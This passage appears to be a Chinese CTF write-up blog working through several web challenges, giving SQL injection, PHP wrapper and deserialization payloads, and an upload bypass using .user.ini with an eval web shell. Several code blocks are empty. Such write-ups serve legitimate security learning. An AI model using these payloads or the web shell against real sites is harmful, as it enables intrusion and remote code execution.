直接爆出flag。题外话:当字段在中间时,要用括号括起来,且用select(也就是把新查询的结果当作这段sql语句的第二个字段值显示出来)
1 | 1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web'),3 |
[GXYCTF2019]BabyUpload
这道题没啥好说的,但给了我一个警示:MIME类型不能仅仅局限于修改为image/png更要眼观六路,不行就换成jpeg的,试完全部才不会遗漏
[ZJCTF 2019]NiZhuanSiWei
开启靶机,直接是一段php代码。
直接代码审计
1 |
|
主要是三层过滤
第一层--利用php伪协议data://text/plain绕过
1 | if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))// file_get_contents()把 $text 的文件中内容读入一个字符串中。 |
file_get_contents($text,’r’)是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是”welcome to the zjctf”,我们考虑用data协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中的逗号后面然后让file_get_contents函数取读取。
payload
1 | ?text=data://text/plain,welcome to the zjctf |
成功绕过第一层。
ps:其实使用php://input也可以实现绕过
1 | POST /?text=php://input |
但是只支持post,这里是get,所以使用data://text/plain。第二层--利用php://filter先读取关键文件
由于对flag存在正则过滤,不能直接通过获取flag来拿到结果,不过可以用 php://filter 过滤器来进行绕过,先获取 unseless.php 的文件base64编码后的数据。
1 | if(preg_match("/flag/",$file)){ // 正则过滤 $file 参数中不能有 flag |
payload
1 | ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php |
base64解码后得到如下代码
1 |
|
第三层--php反序列化
我把读取后的代码整合到一起就是:
1 |
|
也就是说,有一个flag.php需要我们使用上述代码的函数进行读取,怎么读取呢?看到反序列化,那可以先序列化。
1 |
|
最终payload
1 | ?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
获取flag。
[网鼎杯 2020 青龙组]AreUSerialz
直接代码审计
1 |
|
具体代码分析已经注释。
细看代码,细细分析之后其实并不难,主要是几个细节要注意。1、is_valid()
1 | function is_valid($s) {//判断每一个字符的ASCII值 |
is_valid(): 要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。2、强比较类型===
1 | function __destruct() {//析构函数,这里是强比较,容易绕过 |
这类型的比较连类型不同也比较,那我可以传入数字型的2实现绕过。
所以构造生成序列化payload函数
1 |
|
填入序列化payload
1 | ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:1;} |
读取到flag
[SUCTF 2019]CheckIn
题目处看到存在源代码
我是经过上传测试后,发现双写,改后缀,传配置文件等都上传失败,而且想利用图片马的,但是没有存在文件包含漏洞,不知道有没有解析漏洞。
然后看源码的过滤规则吧。
1 |
|
相关代码作用见注释,主要是几个点要记录一下。1、黑名单正则匹配后缀如何绕过
1 | if (preg_match("/ph|htacess/i", $extension)) {//黑名单正则过滤 |
(1)、垃圾符号
就是加入很多符号,企图让其崩。
详情:https://blog.csdn.net/qq_53079406/article/details/123525882
(2)、配置文件
apache的.htaccess
php通用的.user.ini
。
https://www.cnblogs.com/gaonuoqi/p/12337572.html2、若检测文件的内容如何绕过检测
1 | if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {//对文件内容进行检测 |
(1)、改用script脚本
1 | <script language='php'>eval($_REQUEST[1]);</script> |
3、exif_imagetype函数如何绕过
1 | $image_type = exif_imagetype($tmp_name);//再次对文件的类型进行过滤 |
这里介绍一下exif_imagetype()。
1 |
|
(1)、魔术幻术头
在文件前添加GIF89a然后上传。几个知识点以及注意点已经记录,那么这道题怎么破?
利用.use.ini
https://blog.csdn.net/weixin_33694172/article/details/87981584.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
所以,构造一个.user.ini,内容如下然后上传。
1 | GIF89a |
这句代码的意思是,指定123.png文件每次都包含在要执行的php文件前,前提是目录下有.php文件。上文中提到了目录下有index.php文件,那么满足条件,只要访问index.php,那么123.png文件的代码都会先执行
再构造一句话
1 | GIF89a |
找一张图片,合成图片马(无所谓)
1 | copy 1.png+1.php 123.png |
将这些全部上传后,先尝试访问index.php观察一句话木马文件是否被包含。
直接蚁剑连接找flag(当然也可以直接在url上输入命令)
参考:https://www.cnblogs.com/gaonuoqi/p/12337572.html
[GYCTF2020]Blacklist
这道题看我上面的[强网杯 2019] 随便注–SQL 注入 | 堆叠注入,几乎一样是堆叠注入的思路。